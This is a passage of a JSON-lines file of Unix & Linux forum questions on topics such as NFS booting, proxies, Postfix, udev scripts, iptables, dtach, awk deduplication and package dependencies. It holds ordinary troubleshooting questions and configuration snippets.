cuts out so much. It's quite annoying. Anyone know of any solutions? Edit* I found that I have to constantly \"forget\" the network to then re connect to it. This kind of fixes the problem but then of course it derps out again."} {"_id": "140176", "title": "Built the kernel with NFS support but not getting /dev/nfs", "text": "I'm trying to build kernel 3.13.9, fetched using `apt-get source`, and built in a clean `debootstrap` chroot (both host and chroot being installations of Ubuntu Trusty). My goal is to boot a diskless machine to a console over NFS. I ran `make menuconfig` and enabled 64-bit kernel, disabled debugging, and made sure I was doing a 64-bit build. In addition, I went to file systems->network file systems, and enabled the following: * Network File Systems * NFS Client Support The host has `nfs-kernel-server` installed, and an export set up for the directory that I would like to use as the root of the network-booted system. PXE boot happens OK, kernel and initrd are loaded, but after a long pause, I'm dumped to a busybox prompt, due to a root filesystem being missing. What could be the cause? (or, is more info needed?) **Edit:** I'm already passing `nfsroot`: LABEL linux KERNEL vmlinuz-3.13.9 APPEND root=/dev/nfs initrd=initrd.img-3.13.9 nfsroot=192.168.1.39:/nfsroot,rw ip=dhcp rw"} {"_id": "140179", "title": "Some icons are broken in the application menu", "text": "I am using Xfce-4.10 on Debian 7. But I found some icons are missing (and only \"x\"'s appear) in the application menu. Take `ipython3` as an example. Here's the `ipython3.desktop`: # If you want ipython3 to appear in a linux app launcher (\"start menu\"), install this by doing: # sudo desktop-file-install ipython3.desktop [Desktop Entry] Comment=Enhanced interactive Python shell Exec=ipython3 GenericName[en_US]=IPython3 GenericName=IPython3 Icon=ipython3 Name[en_US]=ipython3 Name=ipython3 Categories=Development;Utility; StartupNotify=false Terminal=true Type=Application The theme is installed (currently `tango-icon-theme`, but other themes don't work either). The icon file is at `/usr/share/icons/hicolor/scalable/apps/ipython3.svg`. It can be displayed in an image viewer. Reinstalling `ipython3` doesn't help. I also tried to replace the `ipython3.svg` with some other normal icon files (`libreoffice-calc.svg`, for example). This doesn't help either. Any ideas to bring the icons back? Thank you."} {"_id": "23450", "title": "Measuring CPU and Memory per user to distribute \"cost\" of a server", "text": "How should I implement approximately correct per-user monitoring on a server? I want a way to split the cost of a server between the users based on their usage. On newer machines (RHEL6) I would use `cgroups`; on older kernels process accounting and `ps` averages. Are these the best ways?"} {"_id": "23453", "title": "Burning a directory structure from a stdin pipe", "text": "I'm trying to do something tricky, I want to burn a directory structure onto a CD from a pipe stream. The reason is that it is coming from the network and I don't want it written on the hard drive of the cd-burning machine. I am unsure of how (or if possible) to pipe the output of tar (for example) into genisoimage or mkisofs. I noticed a stream option in genisoimage, but when I tried doing tar -cvf - /home/myuser | genisoimage --stream-media-size 200 -o test.iso I only got a test.iso which contained a stream.img (as specified in genisoimage(1)) which itself was the original tar-archive. This will not do, it needs to be a directory structure on the CD. I know that cdrskin (cli tool for burning) can take data from stdin and burn it. So how can I pipe data into genisoimage, have it create a directory structure of that data for the ISO and then have it pipe that data back out to cdrskin to burn? I know also that genisoimage pipes the iso data to stdout by default so my only issue appears to be getting a stream of a directory structure piped into genisoimage and having that directory structure maintained in the ISO data. The tags on this post are terrible because I couldn't find genisoimage, cdrskin, not even stdin. Edit: This is not about data security, it's about lack of disk space. I don't care if the data is buffered on the HDD but I can't write the full ISO. And of course genisoimage is just a suggestion, I'm open to any other method of creating the ISO data. For your information it's intended for blu ray discs."} {"_id": "23452", "title": "Set a network range in the no_proxy environment variable", "text": "I'm in a network using a proxy. I've got machines using lots of scripts here and there accessing each other over HTTP. * The network is 10.0.0.0/8. * My proxy is 10.1.1.1:81, so I set it up accordingly: export http_proxy=http://10.1.1.1:81/ * I want to exclude my own range to be accessed with the proxy. I tried any combination available. export no_proxy='10.*' export no_proxy='10.*.*.*' export no_proxy='10.0.0.0/8' None of the above work! I'm testing with `wget` and it always tries to query the proxy, whatever IP address I want to connect to. * Since lots of scripts lie everywhere in all systems the `\\--no-proxy` option is actually not an option. I want to set it system wide. Many thanks."} {"_id": "72439", "title": "Postfix uses the interface alias instead of the primary interface", "text": "When sending e-mail with /usr/sbin/sendmail ( _e.g., using a script_ ), Postfix causes the mail to be sent using one of the host's interface aliases ( **eth0:0, 74.50.122.55** ) instead of using the primary interface ( **eth0, 66.232.99.54** )... [root@www ~]# cat test.msg To: epretorios@gmail.com Subject: This is a bogus e-mail This is a bogus e-mail. [root@www ~]# sendmail -t -i < test.msg Results in e-mail headers like this: Return-Path: Received: from www.rocket-powered.com ([74.50.122.55]) by mx.google.com with ESMTPS id c4si14411712yhe.53.2013.04.13.11.39.16 (version=TLSv1 cipher=RC4-SHA bits=128/128); Sat, 13 Apr 2013 11:39:16 -0700 (PDT) Received-SPF: fail (google.com: domain of root@www.rocket-powered.com does not designate 74.50.122.55 as permitted sender) client-ip=74.50.122.55; Authentication-Results: mx.google.com; spf=hardfail (google.com: domain of root@www.rocket-powered.com does not designate 74.50.122.55 as permitted sender) smtp.mail=root@www.rocket-powered.com Received: by www.rocket-powered.com (Postfix, from userid 0) id CA46D39412D; Sat, 13 Apr 2013 18:32:14 +0000 (UTC) From: bogus@gmail.com To: epretorios@gmail.com Subject: This is a bogus e-mail Why is Postfix using the interface alias ( **eth0:0, 74.50.122.55** ) _instead of using the primary interface ( **eth0, 66.232.99.54** )_? FWIW: e-mail submitted for delivery via SMTP is routinely delivered using the primary interface ( **eth0, 66.232.99.54** ). e.g., Return-Path: Received: from www.rocket-powered.com (rocket-powered.com. [66.232.99.54]) by mx.google.com with ESMTPS id s61si9056793yhd.296.2013.04.13.17.28.36 (version=TLSv1 cipher=RC4-SHA bits=128/128); Sat, 13 Apr 2013 17:28:36 -0700 (PDT) Received-SPF: pass (google.com: domain of administrative@rocket-powered.com designates 66.232.99.54 as permitted sender) client-ip=66.232.99.54; Authentication-Results: mx.google.com; spf=pass (google.com: domain of administrative@rocket-powered.com designates 66.232.99.54 as permitted sender) smtp.mail=administrative@rocket-powered.com Received: from www.rocket-powered.com (localhost [IPv6:::1]) by www.rocket-powered.com (Postfix) with ESMTPA id 979D23940F7 for ; Sun, 14 Apr 2013 00:21:33 +0000 (UTC) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=default; d=rocket-powered.com; b=Y5YVbjb5mXPJgyDkMjXdanWRCM4gdEjIdbgouOpDJ6hEAObGcaokpiidfhc29lvBezLyZL06++gL1oyd+bjrywd1I9sqlB0i5Tfjig2ufKLEizcSeyTkDWjm/jKP6TIy; h=Date:To:From:Reply-To:Subject:Message-ID:X-Priority:X-Mailer:MIME-Version:Content-Type; Date: Sun, 14 Apr 2013 00:21:33 +0000 To: Fred Flintstone From: \"Rocket-Powered.com\" Reply-To: \"Rocket-Powered.com\" Subject: Welcome"} {"_id": "23454", "title": "What are the current differences between tuxonice and \u00b5swsusp?", "text": "I tried to find out what is the current comparation between TOI and \u00b5swsusp. Unfortunately I could not find any recent information about the state of hibernation in Linux and how TOI compares to \u00b5swsusp (the most recent information I found is from 2009 in talk of merge between Nigel, Machek and Wysocki). The features matrix seems to be partially out-of-date as \u00b5swsusp supports \"Multithreaded I/O\" since 1.0. Does anyone know some more up-to-date comparison?"} {"_id": "76959", "title": "How can I replace my keyboard and mouse udev rules with xorg.conf.d?", "text": "Since it is impossible to make udev rules that affect Xorg settings run on startup, I'd like to replace these with other alternatives. At the moment, I have two primary udev scripts that I've written. The first changes keyboard layout when the keyboard is plugged in or removed, as well as starting `xcape`. The second slows down the pointer when a specific mouse is plugged in, and also allow input from the mouse to wake the computer up. I'm using (K)ubuntu 13.04. The udev rules and scripts follow, as do the xmodmaps. `/etc/udev/rules.d/00-teck.rules`: ACTION==\"add\", SUBSYSTEM==\"usb\", ATTR{idVendor}==\"0e6a\", ATTR{idProduct}==\"030c\", RUN+=\"/usr/local/bin/TECK_connect\" ACTION==\"remove\", SUBSYSTEM==\"usb\", RUN+=\"/usr/local/bin/TECK_disconnect\" `/usr/local/bin/TECK_connect`: #!/usr/bin/env bash export DISPLAY=:0.0 cp -f /home/sparhawk/HDD/Computer/Xmodmaps/Xmodmap_for_TECK /home/sparhawk/.Xmodmap sudo -u sparhawk setxkbmap -layout us -variant altgr-intl sudo -u sparhawk xmodmap /home/sparhawk/.Xmodmap sudo -u sparhawk pkill xcape sudo -u sparhawk xcape -e 'Alt_L=Return' && sudo -u sparhawk notify-send \"xmodmap\" \"TECK connected.\" -i /usr/share/icons/oxygen/48x48/devices/input-keyboard.png --hint=int:transient:1 `/usr/local/bin/TECK_disconnect`: #!/usr/bin/env bash if [[ `lsusb | egrep -c 'Apple, Inc\\. Aluminum Keyboard'` == 0 ]] && [[ `lsusb | egrep -c 'Megawin Technology Co\\., Ltd'` == 0 ]]; then export DISPLAY=:0.0 cp -f /home/sparhawk/HDD/Computer/Xmodmaps/Xmodmap_for_internal_Dell_keyboard /home/sparhawk/.Xmodmap sudo -u sparhawk setxkbmap -layout us -variant altgr-intl sudo -u sparhawk xmodmap /home/sparhawk/.Xmodmap sudo -u sparhawk pkill xcape fi `/etc/udev/rules.d/90-razerwakeup-slowdown.rules`: ACTION==\"add\", SUBSYSTEM==\"usb\", ATTRS{idVendor}==\"1532\", ATTRS{idProduct}==\"0016\" RUN+=\"/bin/sh -c 'echo $env{DEVPATH} | grep -q usb./[^/]*/[^/]*/[^/]*$ && echo enabled > /sys$env{DEVPATH}/../power/wakeup; razer_slowdown'\" `/usr/local/bin/razer_slowdown`: #!/usr/bin/env bash # slow down the tracking speed of a razer mouse. # to check, $ xinput --list-props \"Razer Razer DeathAdder\"| grep 'Constant Deceleration' # which was originally 1 scriptproper () { sleep 0.5 # perhaps not necessary, but putting it in background is. export DISPLAY=:0.0 sudo -u sparhawk xinput --set-prop \"Razer Razer DeathAdder\" \"Device Accel Constant Deceleration\" 3 } scriptproper & `~/HDD/Computer/Xmodmaps/Xmodmap_for_TECK`: ! map right blank key to \"menu\" for KDE. keycode 97 = Menu Menu ! Swap left ctrl and shift keycode 50 = Control_L Control_L keycode 37 = Shift_L Shift_L ! Replace right ctrl with shift keycode 105 = Shift_R Shift_R ! Replace right shift, ' keycode 62 = apostrophe quotedbl keycode 48 = slash question ! Enter to alt keycode 36 = Alt_L Meta_L ! AltGr to Compose !keycode 108 = Multi_key ! AltGr+key keycode 20 = minus underscore minus underscore endash emdash keycode 60 = period greater period greater ellipsis ! Left blank key to AltGr keycode 101 = ISO_Level3_Shift Multi_key ISO_Level3_Shift ! key to the left of ` keycode 94 = Return NoSymbol Return ! Fn+F5 and Fn+F6 control brightness keycode 148 = XF86MonBrightnessDown NoSymbol XF86MonBrightnessDown keycode 179 = XF86MonBrightnessUp NoSymbol XF86MonBrightnessUp clear Shift clear Lock clear Control clear Mod1 clear Mod2 clear Mod3 clear Mod4 clear Mod5 add Shift = Shift_L Shift_R add Lock = Caps_Lock add Control = Control_L Control_R add Mod1 = Alt_L add Mod2 = Num_Lock add Mod4 = Super_L Super_R add Mod5 = Mode_switch ISO_Level3_Shift ISO_Level3_Shift ISO_Level3_Shift `~/HDD/Computer/Xmodmaps/Xmodmap_for_internal_Dell_keyboard`: ! map right alt to ISO_Level3_Shift (e.g. for compose) keycode 108 = ISO_Level3_Shift Multi_key ! Swap left ctrl and caps lock keycode 66 = Control_L keycode 37 = Caps_Lock ! AltGr+key keycode 20 = minus underscore minus underscore endash emdash keycode 60 = period greater period greater ellipsis keycode 105 = Control_R Multi_key clear Shift clear Lock clear Control clear Mod1 clear Mod2 clear Mod3 clear Mod4 clear Mod5 add Shift = Shift_L Shift_R add Lock = Caps_Lock add Control = Control_L Control_R add Mod1 = Alt_L add Mod2 = Num_Lock add Mod4 = Super_L Super_R add Mod5 = Mode_switch ISO_Level3_Shift ISO_Level3_Shift ISO_Level3_Shift"} {"_id": "76952", "title": "Iptable rule to ssh over the internet", "text": "I've a server `abc.example.com` and a remote desktop `zzz.example.com`. I'm using SSH over a custom port, say, 6789. Whenever my firewall is off, I'm able to connect to the server successfully. But, as soon as I start my firewall, in vain. Moreover, I want to allow ssh session only between `abc.example.com` and `zzz.example.com`, for security reasons. This is the rule that I have added to my iptables on the server, iptables -A INPUT -s zzz.example.com -m state --state NEW,ESTABLISHED -p tcp --dport 6789 -j ACCEPT"} {"_id": "109043", "title": "memory consumption alert", "text": "My VPS has reported a memory consumption alert says reached 273% and I cannot access any of my sites. But I checked on the terminal today and it does not look like a memory problem. Am I correct in thinking memory is fine? total used free shared buffers cached Mem: 1004 110 893 0 56 20 -/+ buffers/cache: 33 970 Swap: 2047 1 2046 The VPS reports my using 2.73 GB of allotted 1024 so they are wanting me to move up a plan but clearly I'm not using anywhere near that amount. But it appears over the weekend something spiked the usage but none of my sites were active so what could it be? How can I test the problem? ### screenshot of graph ![my usage report](http://i.stack.imgur.com/vgFl4.jpg) What are you supposed to do to get the sites all up again? I'm at a loss. update: I have looked in /var/log/messages and found this : `rsyslogd was HUPed ` but now I've found mysql has disappeared!"} {"_id": "76950", "title": "Automating tasks on a website on a headless server", "text": "I want to automate a task which can only be done on a website (with prior login) on my debian server. There is no public API available, so I can't use one. Is there a way to do so? I thought about a text-based browser or something similar."} {"_id": "109041", "title": "What does this command actually cause?", "text": "Once while talking with my friend I was trying to joke that we might stand a better chance of completing our project if we just run loads of random programs and expect one of them to solve our problem. To demonstrate that, I wrote this \"proof of concept\": while true; do dd if=/dev/urandom of=pliczek count=1 chmod +x pliczek ./pliczek done To my horror, when I ran this loop and called `ls`, I noticed a lot of files with random-looking filenames in my current directory (tested on Fedora Linux on 64-bit x86). Now I can't stop wondering - what could actually have happened?"} {"_id": "76956", "title": "Git commit from within a Makefile", "text": "I have a Makefile for a Latex project I'm working on. Makefiles aren't my forte, but is there a way to do something like: make git \"My comment\" And have the makefile execute: git commit -m \"My comment\" git push origin master ?"} {"_id": "109044", "title": "Command substitution interpreting spaces within quotes as argument separators", "text": "I'd like an `alias` that additionally appends itself to `~/.bashrc`, _e.g._ function tailias { $(echo \"alias $1='${*:2}'\" | tee -a ~/.bashrc) } I'm using `tee` to split the command to `~/.bashrc` while leaving the stdout intact to be run by `$()`. This works fine for aliasing one-word commands, _e.g._ [/home/acheong87] tailias f g [/home/acheong87] alias alias f='g' and I see it appended to my `~/.bashrc`. But for commands with spaces, I get [/home/acheong87] tailias ll 'ls -al' -bash: alias: -al: not found It looks correct in `~/.bashrc`\u2014 alias ll='ls -al' \u2014but in the alias list I get this crazy thing: [/home/acheong87] alias alias ll=''\\''ls' I've tried putting the quotes in different places, to no avail. I've reduced the function to just the `echo`, and like in the `~/.bashrc`, it _looks_ correct\u2014so I can't figure out what hidden step is averting my attention."} {"_id": "73522", "title": "Stop Git submodule foreach from opening less for each module", "text": "I occasionally need to grep through git submodules for which I use: git submodule foreach 'git grep x' However, since switching to zsh I find a less prompt is opened for each submodule, even when there are no options. What I'd much prefer is for all of the output to be printed out to the terminal. My current solution is to call: git submodule foreach 'git grep x' > /tmp/a && cat /tmp/a Which achieves what I want but I can't help but feel that I'm missing an option or a more elegant solution. Is there one?"} {"_id": "92662", "title": "retrieve the host interface name used by a VirtualBox interface in \"bridged mode\"", "text": "I need to retrieve the tuntap interface name used from my the VM interfaces in \"bridged adapter\" mode. I found that this information resides in the xml file of the VirtualBox VM under: val xml=(xmlfile \\ \"Machine\" \\ \"Hardware\" \\ \"Network\" \\ \"Adapter\" \\ \"BridgedInterface\") Is there any way to get this info from terminal, ad example with VBoxManage? And if not, can i rely on the xml file for most up-to date informations or is this file updated only when the VM is shut down?"} {"_id": "73526", "title": "An easier way to print from a live CD than Puppy?", "text": "After several failed attempts to burn an Ubuntu CD to live boot from (they wouldn't boot, maybe because my CD burning software wouldn't burn slower than 4X speed?), I've managed to get a boot disc working with Puppy linux (\"Slacko\"). My next task is to figure out how to print. I have an HP PSC2410 printer. The documentation on puppylinux.org provides some links, and I tried following the instructions here. Unfortunately, it appears python isn't installed in Puppy by default, as I got the error: ./hplip-install: line 2: python: command not found when I ran the install with `sh hplip-3.13.4.run` There's quite a list of system requirements for installing the print drivers, so I wonder if I'm barking up the wrong tree by trying to use Puppy. Might I be better having another try at getting Ubuntu working, or is there an easier distribution to use that will enable me to print when booting from a live CD? The only functionality I need is print capability, a browser, and being able to read a flash drive, all offline from the web."} {"_id": "21847", "title": "When you type \"ls -a\", what is the significance of \".\" and \"..\"?", "text": "Whenever you type `ls -a` into the command prompt, you usually get all of your folders, files, and then you see that the first two entries are `.` and `..` Just curious, but what is the significance of these two entries?"} {"_id": "73529", "title": "How to display Discordian date?", "text": "I am a strong believer in Discordianism. Yet most mostly I am confronted with the time measurement of pesky heathens. How do I know what date it really is?"} {"_id": "107289", "title": "Grub doesn't install - corrupted iso?", "text": "I wanted to install Arch Linux on my netbook. I hadn't important files on my hard drive so I've created new partition table (GPT) using GParted from Fedora LiveCD. When I'm running grub-mkconfig -o /boot/grub/grub.cfg I get errors and my new system will not run from GRUB. How can I fix it? Is it a corrupted iso file? I'll add it isn't a problem with hard drive - before Arch, there was Ubuntu and Fedora."} {"_id": "128462", "title": "What is Binary package? How to build them?", "text": "I want to get detail about binary package and run them on linux. I am running Debian base (Ubuntu/Linux mint) Linux os. 1. How to build binary package from source? And can I directly download binary package for applications (like firefox, etc.) and games (like boswars, etc.) ? 2. I run some direct package which is in \"xyz.linux.run\" format What are these package? Are they independent of dependencies? or Is it pre-built binary packages? 3. How to build them which can be run on linux operating system by directly \"xyz.linux.run\" on linux. 4. What is diference between binary package and deb package?"} {"_id": "74551", "title": "Dual boot windows 8 and Ubuntu 13.04 & Broadcom Compatibility", "text": "I have windows 8 pre-installed and also want to use Ubuntu (13.04) as my secondary OS. I had problems regarding Broadcom STA wireless drivers in 12.10, but the drivers work fine on older versions. How to dual boot Ubuntu and install Broadcom drivers after it."} {"_id": "74552", "title": "Can't install anything", "text": "I'm not able to install, update or do anything else with `apt-get`, `aptitude`, `dpkg` and so on. The lock-file `/var/lib/dpkg/lock` exists from boot-time on. When I delete it and run `apt-get update`, it prints out, that dpkg has been interrupted. I tried `dpkg --configure -a` as mentioned in the help text, but that runs into a problem with gconf2: root@andre-ubuntu:/home/andre# dpkg --configure -a Setting up libbonoboui2-0:amd64 (2.24.5-0ubuntu2) ... Setting up libgnomeui-0:amd64 (2.24.5-2ubuntu3) ... Processing triggers for libc-bin ... ldconfig deferred processing now taking place Setting up gconf2 (3.2.6-0ubuntu1) ... (gconftool-2:16760): GConf-WARNING **: Client failed to connect to the D-BUS daemon: Did not receive a reply. Possible causes include: the remote application did not send a reply, the message bus security policy blocked the reply, the reply timeout expired, or the network connection was broken. `dpkg` stops at this point and i can't even interrupt it with `Ctrl+C`. I have the following version of Ubuntu: Linux andre-ubuntu 3.8.0-19-generic #30-Ubuntu SMP Wed May 1 16:35:23 UTC 2013 x86_64 x86_64 x86_64 GNU/Linux Do you have any ideas what to do?"} {"_id": "74556", "title": "sed pattern space and hold space", "text": "i was just going thorugh this and i was unable to understand. sed -n '1h; 1!H; ${ g; s/foo\\nbar/bla\\nblub/ p }' file. where cat file is : foo foo bar why there is `1!H` because to me `1h` overwrites the pattern space and `1!H` is of no use But the sed one liner seems to work fine."} {"_id": "74558", "title": "Change sampling rate in ALSA", "text": "I'm a Computer Audiophile, I've used Windows (with ASIO4ALL)and OSX for Audio. Now I'm making Ubuntu 13 my HTPC/Stereo Audio. To begin with I disabled Pulse audio and using GooMusicplayer with ALSA. My DAC is capable of 24bit 96khz. I can't seem to find a configuration for ALSA to set output sampling rate. How can I configure it?"} {"_id": "6127", "title": "JAVA_HOME not set in script when run using sudo", "text": "I'm trying to run an install script that requires java to be installed and the JAVA_HOME environment variable to be set. I've set JAVA_HOME in `/etc/profile` and also in a file I've called java.sh in `/etc/profile.d`. I can `echo $JAVA_HOME` and get the correct response and I can even `sudo echo $JAVA_HOME` and get the correct response. In the install.sh I'm trying to run I inserted an `echo $JAVA_HOME`. When I run this script as myself I see the java directory, but when I run the script with sudo it is blank. Any ideas why this is happening? I'm running CentOS"} {"_id": "6126", "title": "Dtach and Vim over Ssh: Reattach Session", "text": "I connected to my server: $ ssh me@example.com While in the server, I open a `dtach` session with `vim`: $ dtach -c \\tmp\\my-dtach-session-pipe vim Then my ssh session dies. I attempt to go back to my session: $ ssh me@example.com $ dtach -a \\tmp\\my-dtach-session-pipe I do not get vim, but instead just a blinking cursor. I cannot do anything from there, not even `ctrl+c`, I can only detach the `dtach` with `ctrl+\\`. How can I get my dtach session back properly? Or am I missing the idea of how dtach is supposed to behave? N.B. I am well aware of the `tmux` and `screen` utilities."} {"_id": "6122", "title": "testing services/open ports with telnet?", "text": "I often see that folks test ports this way: //shell telnet ip-address 80 telnet ip-address 25 AFAIK telnet was the old way of getting onto some remote box - right? or so I thought... Why exactly can you connect via telnet to smtp port for example?"} {"_id": "29208", "title": "Prevent init daemon echoing on TTY", "text": "Below is an `init` script which starts/stops a daemon. The daemon is unfortunately printing the parsed packet data (from `/home/nuthan/program/server`), a socket server written in perl, listening to a socket for tcp packets from a client. As soon as I start the service, the parsed data (print statements from `/home/nuthan/program/server`) is echoed on my TTY. And, if I try to kill the terminal, the daemon quits. How do I overcome this? **daemon and logging packet data command** daemon -18 perl /home/nuthan/program/server -d -v -r -f -O=/var/log/vts.log --daemon * * * #!/bin/bash # # vts Start/Stop Vts. # # description: VTS daemon for vehicle Tracking. # Source function library . /etc/init.d/functions # Get network config . /etc/sysconfig/network RETVAL=0 start() { echo -n $\"Starting vts: \" # Start me up! daemon -18 perl /home/nuthan/program/server -d -v -r -f -O=/var/log/vts.log --daemon RETVAL=$? echo [ $RETVAL -eq 0 ] && touch /var/lock/subsys/vts touch /var/lock/subsys/vts return $RETVAL } stop() { echo -n $\"Stopping vts: \" killproc vts RETVAL=$? echo [ $RETVAL -eq 0 ] && rm -f /var/lock/subsys/vtsdaemon return $RETVAL } restart() { stop start } reload() { stop start } case \"$1\" in start) start ;; stop) stop ;; status) status vts ;; restart) restart ;; condrestart) [ -f /var/lock/subsys/vts ] && restart || : ;; reload) reload ;; *) echo $\"Usage: $0 {start|stop|status|restart|condrestart|reload}\" exit 1 esac exit 0"} {"_id": "78086", "title": "Creating multiple devices from one device?", "text": "Specifically taking a USB device, which normally allows only one process to open it for reading, and clone/duplicate/replicate it so that multiple processes can open and read the input. Something along these lines: # Duplicate two streams from microphone arecord -D [mic] | tee /dev/[#1] > /dev/[#2] & # Set up process 1 apply-live-effects -filter lo-pass < /dev/[#1] > output1.raw & # Set up process 2 apply-live-effects -filter hi-pass < /dev/[#2] > output2.raw & With `/dev/[#1]` and `/dev/[#2]` being the devices to open for reading. I thought I might be able to use the `/dev/loop#` devices. I tried playing around with these but no luck."} {"_id": "139543", "title": "source address chosen in case of multiple IPv4 addresses", "text": "I have following four IPv4 addresses configured to `eth0` interface: # ip addr show dev eth0 2: eth0: mtu 9000 qdisc pfifo_fast state UP qlen 1000 link/ether 00:16:41:54:01:93 brd ff:ff:ff:ff:ff:ff inet 10.10.10.1/24 scope global eth0 inet 192.168.2.2/30 scope global eth0 inet 10.10.10.128/24 scope global secondary eth0 inet 10.10.10.127/24 scope global secondary eth0 # Now if I send traffic to any(10.10.10.1, 192.168.2.2, 10.10.10.128 or 10.10.10.127) of those addresses from IP address 10.10.11.1, then despite the fact that I have specified the source IP to be 10.10.10.127: # ip route show match 10.10.11.1 default via 192.168.2.1 dev eth0 src 10.10.10.127 # ..my machine sends out packets with the same source IP which was used as a destination IP, e.g. if I execute `ping 10.10.10.128 source 10.10.11.1` in a remote machine, then my machine sends out replies with source address 10.10.10.128: 16:11:02.478607 00:19:e2:9e:ec:00 > 00:16:41:54:01:93, ethertype IPv4 (0x0800), length 114: 10.10.11.1 > 10.10.10.128: ICMP echo request, id 34, seq 4, length 80 16:11:02.478616 00:16:41:54:01:93 > 00:19:e2:9e:ec:00, ethertype IPv4 (0x0800), length 114: 10.10.10.128 > 10.10.11.1: ICMP echo reply, id 34, seq 4, length 80 In which situation `src` address specified in routing table has affect?"} {"_id": "131212", "title": "how can I replace a record in my DB (mySql) by new record?", "text": "I have created a shell script to connect to a DB and INSERT IPs and MACs from dhcpd.log file: #/!bin/bash dhcpLogFile=\"/var/log/dhcpd.log\" NumberOfLines=$(awk '/DHCPACK/ { print $8} ' $dhcpLogFile | awk '!x[$0]++'|awk 'BEGIN{i=0}{i++;}END{print i}') j=1 while [ $NumberOfLines -gt 0 ] do ip=$(awk '/DHCPACK/ { print $8} ' $dhcpLogFile | awk '!x[$0]++' |cut -f$j -d$'\\n') mac=$(awk '/DHCPACK/ { print $10} ' $dhcpLogFile | awk '!x[$0]++' |cut -f$j -d$'\\n') let \"j +=1\" let \"NumberOfLines -=1\" mysql -u root --password='pw' MatchingDB <<- _END_ INSERT INTO IP_MACTable (IP_Address, MAC) VALUES ('$ip','$mac'); _END_ done my question is how to modify the insert query above to let it replace an existing record when the ip attribute is duplicated and to insert a new record normally when the ip attribute isn't duplicated ? I have tried something like this but it keeps return an error (syntax error): INSERT INTO IP_MACTable (IP_Address, MAC) VALUES ('$ip','$mac') ON DUPLICATE KEY UPDATE MAC = VALUES('$mac') the error according to my server is `near '$mac')` Error code is #1064"} {"_id": "131214", "title": "Running a Transparent Proxy for LAN and Webserver for WAN", "text": "I am running a LAMP stack on an Arch Linux server in my home, and my router firewall port 80 is open to the world. Recently, I've decided to set up a dansguardian transparent proxy to do some web filtering for my children. Everything is working well inside my LAN. However, while checking the dansguardian logs, I noticed that my home had become a proxy for chinese IP addresses. Apparently, my iptables setup is allowing requests coming in on port 80 to be sent to my LAN dansguardian setup! I have now closed down port 80, but I would like to continue running my home website. Can someone please advise me on the correct iptables setup to transparently proxy LAN http requests through dansguardian but not proxy INCOMING requests on port 80? Here is the output of iptables-save: # Generated by iptables-save v1.4.18 on Tue May 20 18:51:46 2014 *filter :INPUT ACCEPT [99752358:83925475634] :FORWARD ACCEPT [1137723:181159087] :OUTPUT ACCEPT [57478321:118350587619] COMMIT # Completed on Tue May 20 18:51:46 2014 # Generated by iptables-save v1.4.18 on Tue May 20 18:51:46 2014 *nat :PREROUTING ACCEPT [3362634:253695591] :INPUT ACCEPT [3450241:258605740] :OUTPUT ACCEPT [3451732:250709703] :POSTROUTING ACCEPT [3492061:253533144] -A PREROUTING -p tcp -m tcp --dport 80 -j REDIRECT --to-ports 9809 -A POSTROUTING -o eth0 -j MASQUERADE COMMIT # Completed on Tue May 20 18:51:46 2014 * * * ## Update: Possible Solution Found This looks like it is working: From: https://help.ubuntu.com/community/DansGuardian sudo iptables -t nat -A OUTPUT -p tcp --dport 80 -m owner --uid-owner proxy -j ACCEPT sudo iptables -t nat -A OUTPUT -p tcp --dport 3128 -m owner --uid-owner proxy -j ACCEPT sudo iptables -t nat -A OUTPUT -p tcp --dport 80 -j REDIRECT --to-ports 8080 sudo iptables -t nat -A OUTPUT -p tcp --dport 3128 -j REDIRECT --to-ports 8080 If anyone knows of a good tutorial of iptables for dummies, I'd really appreciate it!"} {"_id": "131215", "title": "Installing SASM Integrated Development Invironment for assemby, dependency problems", "text": "How do I resolve these dependency issues? I want to install a IDE for assembly in my Fedora 20, but it's not working. Here is the package I'm trying to install: package site Here is the output from yum: home_Dman95 3/3 Resolving Dependencies --> Running transaction check ---> Package SASM.x86_64 0:2.3.1-2.3 will be installed --> Processing Dependency: libxcb-icccm4 for package: SASM-2.3.1-2.3.x86_64 --> Processing Dependency: libxcb-render0 for package: SASM-2.3.1-2.3.x86_64 --> Processing Dependency: gcc-32bit for package: SASM-2.3.1-2.3.x86_64 --> Processing Dependency: libxcb-sync0 for package: SASM-2.3.1-2.3.x86_64 --> Processing Dependency: libxcb1 for package: SASM-2.3.1-2.3.x86_64 --> Processing Dependency: libqt4 for package: SASM-2.3.1-2.3.x86_64 --> Finished Dependency Resolution Error: Package: SASM-2.3.1-2.3.x86_64 (home_Dman95) Requires: libxcb-icccm4 Error: Package: SASM-2.3.1-2.3.x86_64 (home_Dman95) Requires: libxcb-render0 Error: Package: SASM-2.3.1-2.3.x86_64 (home_Dman95) Requires: libxcb-sync0 Error: Package: SASM-2.3.1-2.3.x86_64 (home_Dman95) Requires: libxcb1 Error: Package: SASM-2.3.1-2.3.x86_64 (home_Dman95) Requires: libqt4 Error: Package: SASM-2.3.1-2.3.x86_64 (home_Dman95) Requires: gcc-32bit You could try using --skip-broken to work around the problem You could try running: rpm -Va --nofiles --nodigest EDIT: I installed gcc*.i686 but still the \"gcc-32bit\" dependency is not resolved. Any idea's?"} {"_id": "131217", "title": "How to remove duplicate lines with awk whilst keeping empty lines?", "text": "Below `awk` command removes all duplicate lines as explained here: awk '!seen[$0]++' If the text contains empty lines, all but one empty line will be deleted. How can I keep all empty lines whilst deleting all non-empty duplicate lines, using only `awk`? Please, also include a brief explanation."} {"_id": "10440", "title": "Send duplicate packets over two Internet connections", "text": "I need to duplicate an RTP stream over two different (non-reliable) Internet connections. On the receiver side, I will probably run a custom program that will use a buffer and rebuild the stream before using it. But I have some trouble in splitting the traffic over the two connections. I did some research and found that maybe `tc` (part of `iproute2`) could be what I need. Can anyone help me?"} {"_id": "10442", "title": "Logging in using voice commands with GDM", "text": "Is there a program capable of doing such thing? Something that would wait for me to either supply a username and a password, or select my username and a voice command that does the same thing."} {"_id": "124014", "title": "How to install man command for chef", "text": "I want to see manual for `chef` with command `man knife-cookbook`. But it looks like manuals are not installed by default install `gem install chef`. I found the man page of `knife cookbook`. http://manned.org/knife- cookbook/061616e2 How can I install these manual pages to my local environments? Normally documents are automatically installed along with software itself. I never installed manual separately. I'm using `OS X 10.9.2`."} {"_id": "124015", "title": "Configure the OOM to avoid having the system grind to a halt", "text": "I have an SSD and therefore no swap. However, when I open a lot of tabs in the browser, the system tends to grind to a halt. If I'm lucky, I can close one or two tabs before the system is completely unresponsive. Is it possible to use the OOM in this case to kill a few browser processes (chromium) to avoid the unresponsiveness? There is still a bit 